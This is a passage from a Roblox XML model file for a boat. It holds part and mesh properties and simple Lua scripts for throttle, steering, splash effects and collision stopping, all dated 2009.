									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">0</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">0</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000210759827</X>
										<Y>0.000238456618</Y>
										<Z>0.000222244547</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>12</X>
										<Y>3</Y>
										<Z>4</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX1721">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX1722">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">StopScript</string>
										<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1723">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1001</int>
									<CoordinateFrame name="CFrame">
										<X>-1586.00635</X>
										<Y>1.49980211</Y>
										<Z>23.9996338</Z>
										<R00>0.991269171</R00>
										<R01>0.0125614265</R01>
										<R02>-0.13125369</R02>
										<R10>-0.012550097</R10>
										<R11>0.999920845</R11>
										<R12>0.000913560973</R12>
										<R20>0.131254792</R20>
										<R21>0.00074166269</R21>
										<R22>0.991348445</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>7.8104434e-010</X>
										<Y>0.0017192408</Y>
										<Z>-1.33449113e-010</Z>
									</Vector3>
									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>-0.0112433191</X>
										<Y>0.000927473418</Y>
										<Z>0.00281083095</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX1724">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX1725">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>8.99999949e+009</X>
											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1726">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1611.5</X>
										<Y>4</Y>
										<Z>24</Z>
										<R00>0</R00>
										<R01>0</R01>
										<R02>-1</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">RearTip</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000227887693</X>
										<Y>3.0475414e-005</Y>
										<Z>0.000224514661</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>1</X>
										<Y>6</Y>
										<Z>1</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX1727">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>0.600000024</X>
											<Y>1</Y>
											<Z>0.600000024</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="Script" referent="RBX1728">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">false</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">StopScript</string>
										<ProtectedString name="Source">function Hit(hit)
	if (hit.Parent.Name == &quot;Parts&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Bodykit&quot;) then return end -- In case the boat&apos;s gun hits the front
	if (hit.Parent.Name == &quot;Projectiles&quot;) then return end -- In case the boat&apos;s gun shoots the front
	if (hit.Parent.Name == &quot;Water&quot;) then return end -- Sometimes the front end dips down
	if (hit.CanCollide == false) then return end -- In case the boat hits smoke or water splashes and whatnot
	if (hit.Parent == script.Parent.Parent) then return end -- We don&apos;t want our own wake stopping the boat
	if (hit.Parent:findFirstChild(&quot;Humanoid&quot;) ~= nil) then return end -- We don&apos;t want players jumping onto the front

	script.Parent.Parent.VehicleSeat.MaxSpeed = 0 -- Stop the boat
end

script.Parent.Touched:connect(Hit)

--(C) 2009 Terran Research Commission
</ProtectedString>
									</Properties>
								</Item>
								<Item class="Fire" referent="RBX1729">
									<Properties>
										<bool name="Archivable">true</bool>
										<Color3 name="Color">4294967040</Color3>
										<bool name="Enabled">false</bool>
										<string name="Name">Fire</string>
										<Color3 name="SecondaryColor">4294901760</Color3>
										<float name="heat_xml">25</float>
										<float name="size_xml">30</float>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1730">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">1003</int>
									<CoordinateFrame name="CFrame">
										<X>-1606.00635</X>
										<Y>1.49980211</Y>
										<Z>23.9996338</Z>
										<R00>-0.290800959</R00>
										<R01>0.0125614498</R01>
										<R02>0.956700981</R02>
										<R10>0.00436274568</R10>
										<R11>0.999920845</R11>
										<R12>-0.011802813</R12>
										<R20>-0.95677352</R20>
										<R21>0.000741575321</R21>
										<R22>-0.290832728</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">Stabilizer</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>1.93005778e-010</X>
										<Y>0.000435728725</Y>
										<Z>-1.47898221e-011</Z>
									</Vector3>
									<float name="TopParamA">0</float>
									<float name="TopParamB">0</float>
									<token name="TopSurface">6</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.00807998329</X>
										<Y>0.00854108483</Y>
										<Z>1.74801395e-017</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="CylinderMesh" referent="RBX1731">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="Bevel">0</float>
										<float name="Bevel Roundness">0</float>
										<float name="Bulge">0</float>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
								<Item class="BodyGyro" referent="RBX1732">
									<Properties>
										<bool name="Archivable">true</bool>
										<float name="D">500</float>
										<string name="Name">Stabilizer</string>
										<float name="P">200</float>
										<CoordinateFrame name="cframe">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<Vector3 name="maxTorque">
											<X>8.99999949e+009</X>
											<Y>0</Y>
											<Z>8.99999949e+009</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Part" referent="RBX1733">
								<Properties>
									<bool name="Anchored">false</bool>
									<bool name="Archivable">true</bool>
									<float name="BackParamA">-0.5</float>
									<float name="BackParamB">0.5</float>
									<token name="BackSurface">2</token>
									<token name="BackSurfaceInput">0</token>
									<float name="BottomParamA">-0.5</float>
									<float name="BottomParamB">0.5</float>
									<token name="BottomSurface">2</token>
									<token name="BottomSurfaceInput">0</token>
									<int name="BrickColor">194</int>
									<CoordinateFrame name="CFrame">
										<X>-1611.5</X>
										<Y>8</Y>
										<Z>24</Z>
										<R00>0</R00>
										<R01>-1</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>0</R11>
										<R12>1</R12>
										<R20>-1</R20>
										<R21>0</R21>
										<R22>0</R22>
									</CoordinateFrame>
									<bool name="CanCollide">true</bool>
									<float name="Elasticity">0</float>
									<token name="FormFactor">0</token>
									<float name="Friction">0.300000012</float>
									<float name="FrontParamA">-0.5</float>
									<float name="FrontParamB">0.5</float>
									<token name="FrontSurface">2</token>
									<token name="FrontSurfaceInput">0</token>
									<float name="LeftParamA">-0.5</float>
									<float name="LeftParamB">0.5</float>
									<token name="LeftSurface">2</token>
									<token name="LeftSurfaceInput">0</token>
									<bool name="Locked">false</bool>
									<token name="Material">256</token>
									<string name="Name">SmokeEmitter</string>
									<float name="Reflectance">0</float>
									<float name="RightParamA">-0.5</float>
									<float name="RightParamB">0.5</float>
									<token name="RightSurface">2</token>
									<token name="RightSurfaceInput">0</token>
									<Vector3 name="RotVelocity">
										<X>-2.35526932e-006</X>
										<Y>-1.4054865e-007</Y>
										<Z>4.8936754e-006</Z>
									</Vector3>
									<float name="TopParamA">-0.5</float>
									<float name="TopParamB">0.5</float>
									<token name="TopSurface">2</token>
									<token name="TopSurfaceInput">0</token>
									<float name="Transparency">0</float>
									<Vector3 name="Velocity">
										<X>0.000208312995</X>
										<Y>3.0475414e-005</Y>
										<Z>0.000215093576</Z>
									</Vector3>
									<token name="shape">1</token>
									<Vector3 name="size">
										<X>2</X>
										<Y>1</Y>
										<Z>2</Z>
									</Vector3>
								</Properties>
								<Item class="SpecialMesh" referent="RBX1734">
									<Properties>
										<bool name="Archivable">true</bool>
										<token name="LODX">2</token>
										<token name="LODY">2</token>
										<Content name="MeshId"><null></null></Content>
										<token name="MeshType">1</token>
										<string name="Name">Mesh</string>
										<Vector3 name="Offset">
											<X>0</X>
											<Y>0</Y>
											<Z>0</Z>
										</Vector3>
										<Vector3 name="Scale">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
										<Content name="TextureId"><null></null></Content>
										<Vector3 name="VertexColor">
											<X>1</X>
											<Y>1</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
								</Item>
							</Item>
							<Item class="Script" referent="RBX1735">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">ParentScript</string>
									<ProtectedString name="Source">seat = script.Parent.VehicleSeat

function onChildAdded(part)
	if part.className == &quot;Weld&quot; then
		local torso = part.Part1
		if torso ~= nil then
			local parent = torso.Parent
			if parent ~= nil then
				script.Parent.Parent = parent
				script.Parent.Base.Anchored = false
			end
		end
	end
end

seat.ChildAdded:connect(onChildAdded)
</ProtectedString>
								</Properties>
							</Item>
							<Item class="Script" referent="RBX1736">
								<Properties>
									<bool name="Archivable">true</bool>
									<bool name="Disabled">false</bool>
									<Content name="LinkedSource"><null></null></Content>
									<string name="Name">BoatScript</string>
									<ProtectedString name="Source">bin = script.Parent
VS = bin.VehicleSeat
engine = script.Parent.Base
position = engine.Velocity

function SplashF()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,-16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

function SplashB()
		splash = Instance.new(&quot;Part&quot;)
		splash.formFactor = &quot;Symmetric&quot;
		splash.Shape = &quot;Ball&quot;
		splash.TopSurface = 0
		splash.BottomSurface = 0
		splash.BrickColor = BrickColor.new(23)
		splash.Transparency = 0.4
		splash.Size = Vector3.new(1,1,1)
		splash.Anchored = true
		splash.CanCollide = false
		splash.CFrame = bin.Base.CFrame * CFrame.new(0,-0.85,16)
		splash.Parent = bin

		local wtscr = script.WaterScript:clone()
		wtscr.Disabled = false
		wtscr.Parent = splash

		local mesh = Instance.new(&quot;SpecialMesh&quot;)
		mesh.MeshType = &quot;Sphere&quot;
		mesh.Scale = Vector3.new(16,4,20)
		mesh.Parent = splash
end

while true do

---------------------------------Throttle

	if VS.Throttle == 1 then
		if VS.MaxSpeed &lt; 300 then
			VS.MaxSpeed = VS.MaxSpeed + VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == -1 then
		if VS.MaxSpeed &gt; -25 then
			VS.MaxSpeed = VS.MaxSpeed - VS.Torque
		end

		if VS.MaxSpeed &gt; 0 then
			SplashF()
		elseif VS.MaxSpeed &lt; 0 then
			SplashB()
		end

	elseif VS.Throttle == 0 then
		if VS.MaxSpeed &gt;= 1 then
			--VS.MaxSpeed = VS.MaxSpeed - VS.Torque
			SplashF()
		elseif VS.MaxSpeed &lt;= -1 then
			--VS.MaxSpeed = VS.MaxSpeed + VS.Torque
			SplashB()
		end
	end

---------------------------------Steering

	if VS.Steer == 1 then 
		if VS.TurnSpeed &gt; -0.14 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
	elseif VS.Steer == -1 then 
		if VS.TurnSpeed &lt; 0.14 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		end
	elseif VS.Steer == 0 then 
		if VS.TurnSpeed &lt; 0 then
			VS.TurnSpeed = VS.TurnSpeed + 0.02
		elseif VS.TurnSpeed &gt; 0 then
			VS.TurnSpeed = VS.TurnSpeed - 0.02
		end
		if VS.TurnSpeed &lt;= 0.2 and VS.TurnSpeed &gt;= -0.2 then
			VS.TurnSpeed = 0
		end
	end

---------------------------------Application

	bin.Base.BG.cframe = bin.Base.CFrame * CFrame.fromEulerAnglesXYZ(0, VS.TurnSpeed, 0)
	bin.Base.BV.velocity = bin.Base.CFrame.lookVector * VS.MaxSpeed

	wait(0.2)
end

--(C) 2009 Terran Research Commission
</ProtectedString>
								</Properties>
								<Item class="Script" referent="RBX1737">
									<Properties>
										<bool name="Archivable">true</bool>
										<bool name="Disabled">true</bool>
										<Content name="LinkedSource"><null></null></Content>
										<string name="Name">WaterScript</string>
										<ProtectedString name="Source">wait(0.2)
script.Parent.Transparency = 0.5
script.Parent.Mesh.Scale = Vector3.new(       18,	3.8,	22	)
wait(0.2)
script.Parent.Transparency = 0.6
script.Parent.Mesh.Scale = Vector3.new(       22,	3.6,	28	)
wait(0.2)
script.Parent.Transparency = 0.7
script.Parent.Mesh.Scale = Vector3.new(       26,	3.4,	34	)
wait(0.2)
script.Parent.Transparency = 0.8
script.Parent.Mesh.Scale = Vector3.new(       30,	3.2,	40	)
wait(0.2)
script.Parent.Transparency = 0.9
script.Parent.Mesh.Scale = Vector3.new(       34,	3,	46	)
wait(0.2)
script.Parent:remove()
</ProtectedString>
									</Properties>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1738">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">0</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1575.5</X>
								<Y>9.5</Y>
								<Z>24</Z>
								<R00>0</R00>
								<R01>1</R01>
								<R02>0</R02>
								<R10>-0</R10>
								<R11>-0</R11>
								<R12>-1</R12>
								<R20>-1</R20>
								<R21>-0</R21>
								<R22>-0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0</float>
							<token name="FormFactor">0</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">0</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.00020097247</X>
								<Y>0.000206647732</Y>
								<Z>0.000216620436</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>12</X>
								<Y>17</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
						<Item class="SpecialMesh" referent="RBX1739">
							<Properties>
								<bool name="Archivable">true</bool>
								<token name="LODX">2</token>
								<token name="LODY">2</token>
								<Content name="MeshId"><null></null></Content>
								<token name="MeshType">2</token>
								<string name="Name">Mesh</string>
								<Vector3 name="Offset">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
								</Vector3>
								<Vector3 name="Scale">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
								<Content name="TextureId"><null></null></Content>
								<Vector3 name="VertexColor">
									<X>1</X>
									<Y>1</Y>
									<Z>1</Z>
								</Vector3>
							</Properties>
						</Item>
					</Item>
					<Item class="Part" referent="RBX1740">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1607.12817</X>
								<Y>9.19007301</Y>
								<Z>18.8331299</Z>
								<R00>-0.999413669</R00>
								<R01>8.1313774e-006</R01>
								<R02>-0.0342391878</R02>
								<R10>-4.13041562e-006</R10>
								<R11>1</R11>
								<R12>0.000358046789</R12>
								<R20>0.0342391729</R20>
								<R21>0.000357979094</R21>
								<R22>-0.99941355</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>0.0104728341</X>
								<Y>-9.42151382e-005</Y>
								<Z>-0.0010530547</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.0028733497</X>
								<Y>-0.0183980931</Y>
								<Z>0.0139733311</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>2.4000001</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1741">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1607</X>
								<Y>9.19999981</Y>
								<Z>29.5</Z>
								<R00>-1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>-1</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
							<bool name="Locked">false</bool>
							<token name="Material">256</token>
							<string name="Name">Part</string>
							<float name="Reflectance">0</float>
							<float name="RightParamA">-0.5</float>
							<float name="RightParamB">0.5</float>
							<token name="RightSurface">0</token>
							<token name="RightSurfaceInput">0</token>
							<Vector3 name="RotVelocity">
								<X>-2.35526932e-006</X>
								<Y>-1.4054865e-007</Y>
								<Z>4.8936754e-006</Z>
							</Vector3>
							<float name="TopParamA">-0.5</float>
							<float name="TopParamB">0.5</float>
							<token name="TopSurface">2</token>
							<token name="TopSurfaceInput">0</token>
							<float name="Transparency">0</float>
							<Vector3 name="Velocity">
								<X>0.000201667557</X>
								<Y>6.54509349e-005</Y>
								<Z>0.000212899744</Z>
							</Vector3>
							<token name="shape">1</token>
							<Vector3 name="size">
								<X>4</X>
								<Y>2.4000001</Y>
								<Z>1</Z>
							</Vector3>
						</Properties>
					</Item>
					<Item class="Part" referent="RBX1742">
						<Properties>
							<bool name="Anchored">false</bool>
							<bool name="Archivable">true</bool>
							<float name="BackParamA">-0.5</float>
							<float name="BackParamB">0.5</float>
							<token name="BackSurface">0</token>
							<token name="BackSurfaceInput">0</token>
							<float name="BottomParamA">-0.5</float>
							<float name="BottomParamB">0.5</float>
							<token name="BottomSurface">2</token>
							<token name="BottomSurfaceInput">0</token>
							<int name="BrickColor">21</int>
							<CoordinateFrame name="CFrame">
								<X>-1607</X>
								<Y>10.8999996</Y>
								<Z>24</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>0</R11>
								<R12>1</R12>
								<R20>0</R20>
								<R21>-1</R21>
								<R22>0</R22>
							</CoordinateFrame>
							<bool name="CanCollide">true</bool>
							<float name="Elasticity">0.5</float>
							<token name="FormFactor">1</token>
							<float name="Friction">0.300000012</float>
							<float name="FrontParamA">-0.5</float>
							<float name="FrontParamB">0.5</float>
							<token name="FrontSurface">0</token>
							<token name="FrontSurfaceInput">0</token>
							<float name="LeftParamA">-0.5</float>
							<float name="LeftParamB">0.5</float>
							<token name="LeftSurface">0</token>
							<token name="LeftSurfaceInput">0</token>
